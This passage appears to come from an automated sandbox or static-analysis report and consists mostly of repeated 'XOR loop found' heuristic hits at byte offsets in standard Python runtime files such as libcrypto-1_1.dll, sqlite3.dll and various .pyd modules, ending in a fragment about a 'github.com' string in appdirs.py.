"libcrypto-1_1.dll" at offset 882599; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 883017; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 883121; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 883280; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 883707; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 884257; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 887047; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 887079; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 888266; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 888372; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 889112; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 889190; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 889321; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 889705; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 890045; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 890101; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 890309; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 890382; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 890520; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 890901; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 891149; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 891206; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 891487; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 891560; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 891709; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 892311; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 892674; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 892749; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 892888; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 893199; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 893493; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 893836; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 893918; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 949083; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 951572; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1012864; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1012915; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1013257; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1133657; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1135475; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1135519; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1135568; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1135922; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136074; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136224; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136376; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136526; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136678; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136828; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1136980; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1137130; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1137429; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1137581; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1137731; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1137887; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138060; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138210; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138362; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138512; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138664; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138814; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1138966; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1139116; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1139268; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1139418; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1139570; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1139720; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1139872; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1140022; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142050; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142196; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142342; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142488; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142634; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142780; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1142926; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143072; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143218; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143364; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143510; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143656; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143802; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1143952; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144120; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144266; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144412; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144558; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144704; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144850; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1144996; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1145142; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1145288; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1145434; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1145580; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1145726; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1145872; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1146018; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1147785; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1154793; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1154797; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1154813; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1154819; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1154836; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1154845; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1158699; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1160994; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1161025; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1161062; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1161089; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1161104; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1165065; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1165314; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1227846; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1271203; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1403094; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1403196; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1524575; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1524607; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1525787; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1532367; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1532399; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1533623; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1620285; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1620309; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1620499; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1621594; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1621634; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1621764; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1621816; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1673028; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1674043; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1674063; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1674083; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1699484; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1699517; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1699666; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1708557; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890397; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890517; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890568; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890691; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890736; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890850; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1890900; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891060; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891224; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891382; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891472; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891512; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891636; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891675; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891800; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891838; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1891967; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1892129; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1892305; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1892628; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1892796; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1892966; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893122; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893162; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893288; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893326; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893450; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893490; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893698; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1893857; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1894021; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1894140; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1894190; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1894309; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1895028; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1927507; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1928575; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1928639; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1930011; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1939439; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1939503; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1955400; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1955467; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1956303; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1956367; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 1998236; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2002193; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2003749; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2004396; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2004557; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2004608; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2005885; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2011669; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2011801; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2011809; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2011817; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2011820; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2142128; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2374786; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2374948; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2481243; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2556316; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 2597392; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 3123792; code bytes = 33c1 Found XOR loop in file "libcrypto-1_1.dll" at offset 200476; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 254699; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 310378; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2866562; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2867969; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2868608; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2999248; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2999272; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2999300; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2999356; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2999392; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 2999412; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3109384; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120405; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120409; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120413; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120417; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120421; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120425; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120429; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120433; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120437; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120441; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3120445; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3277332; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3303916; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3315340; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3366360; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3367720; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3424654; code bytes = 8030 Found XOR loop in file "libcrypto-1_1.dll" at offset 3426938; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1409064; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 1440096; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 191293; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 191303; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 842836; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1059676; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1131668; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1131675; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1132863; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1132874; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1205692; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1460110; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1462385; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 577904; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 577924; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 585708; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 585732; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 585752; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 638032; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 641664; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 641672; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 647780; code bytes = 30d0 Found XOR loop in file "libssl-1_1.dll" at offset 56275; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 56387; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 60960; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 67258; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 73331; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 73411; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 450222; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 450384; code bytes = 33c1 Found XOR loop in file "libssl-1_1.dll" at offset 338298; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 354134; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 690062; code bytes = 8030 Found XOR loop in file "libssl-1_1.dll" at offset 692347; code bytes = 8030 Found XOR loop in file "python.exe" at offset 2800; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 12030; code bytes = 30040e Found XOR loop in file "python.exe" at offset 22735; code bytes = 8030 Found XOR loop in file "python.exe" at offset 27342; code bytes = 8030 Found XOR loop in file "python.exe" at offset 49290; code bytes = 8030 Found XOR loop in file "python.exe" at offset 93582; code bytes = 8030 Found XOR loop in file "python.exe" at offset 95856; code bytes = 8030 Found XOR loop in file "vcruntime140.dll" at offset 62480; code bytes = 33c1 Found XOR loop in file "vcruntime140.dll" at offset 73408; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 23731; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 26442; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 48780; code bytes = 30d0 Found XOR loop in file "pythonw.exe" at offset 2824; code bytes = 33c1 Found XOR loop in file "pythonw.exe" at offset 13653; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 92046; code bytes = 8030 Found XOR loop in file "pythonw.exe" at offset 94320; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 56718; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 58993; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 14628; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 3112; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 250196; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 386660; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 446164; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 793106; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 793310; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 793446; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 793603; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 794036; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 794480; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 794624; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 804513; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 804625; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 8332; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 424677; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 153592; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 449892; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 653920; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1113486; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1115761; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 209484; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 217696; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 231420; code bytes = 30d0 Found XOR loop in file "_decimal.pyd" at offset 50241; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 127324; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 191595; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 242574; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 244848; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 30402; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 53624; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 53645; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 63132; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 186766; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 189040; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 7964; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 32603; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 139796; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 139804; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 150926; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 153200; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 1797; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 2562; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 2613; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 2669; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 2814; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 8211; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 10494; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 18494; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54830; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54841; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55009; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55756; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55763; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55818; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56092; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56985; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56998; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57668; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57678; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 75820; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 89401; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 89764; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 90023; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 90326; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 52448; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 148366; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 150640; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 28364; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 117134; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 119408; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 20924; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 115086; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 117360; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 32748; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 88462; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 90736; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 10992; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 39772; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 75150; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 77425; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 7148; code bytes = 33c1 Found XOR loop in file "_socket.pyd" at offset 69518; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 71792; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 4012; code bytes = 33c1 Found XOR loop in file "_asyncio.pyd" at offset 55694; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 57968; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 13452; code bytes = 33c1 Found XOR loop in file "_hashlib.pyd" at offset 54158; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 56432; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 3916; code bytes = 33c1 Found XOR loop in file "_overlapped.pyd" at offset 40334; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 42609; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 15260; code bytes = 33c1 Found XOR loop in file "_zoneinfo.pyd" at offset 35214; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 37489; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 10396; code bytes = 33c1 Found XOR loop in file "_msi.pyd" at offset 13327; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 22567; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 35214; code bytes = 8030 Found XOR loop in file "_msi.pyd" at offset 37489; code bytes = 803030:T502,file/memory contains long string with (Indicator: "github.com"; File: "appdirs.py") file/memory contains long string with 